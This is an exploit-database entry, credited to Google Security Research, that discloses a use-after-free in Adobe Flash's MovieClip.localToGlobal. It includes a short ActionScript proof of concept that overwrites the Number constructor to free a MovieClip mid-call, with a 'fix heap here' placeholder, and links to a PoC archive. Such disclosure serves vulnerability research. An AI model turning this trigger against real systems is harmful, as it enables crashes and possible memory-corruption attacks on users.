Adobe Flash MovieClip.localToGlobal - Use-After-Free

Author: Google Security Research
type: dos
platform: windows
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date_added: 2015-12-18 
date_updated: 2015-12-18 
verified: 1 
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Source: https://code.google.com/p/google-security-research/issues/detail?id=570

There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:

var a = func;
_global.Number = a;
this.createEmptyMovieClip("mc", 1);
mc.localToGlobal( 7 );


function func(){

	mc.removeMovieClip();

        // fix heap here

        this.x = 2;
	this.y = 1;

	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39056.zip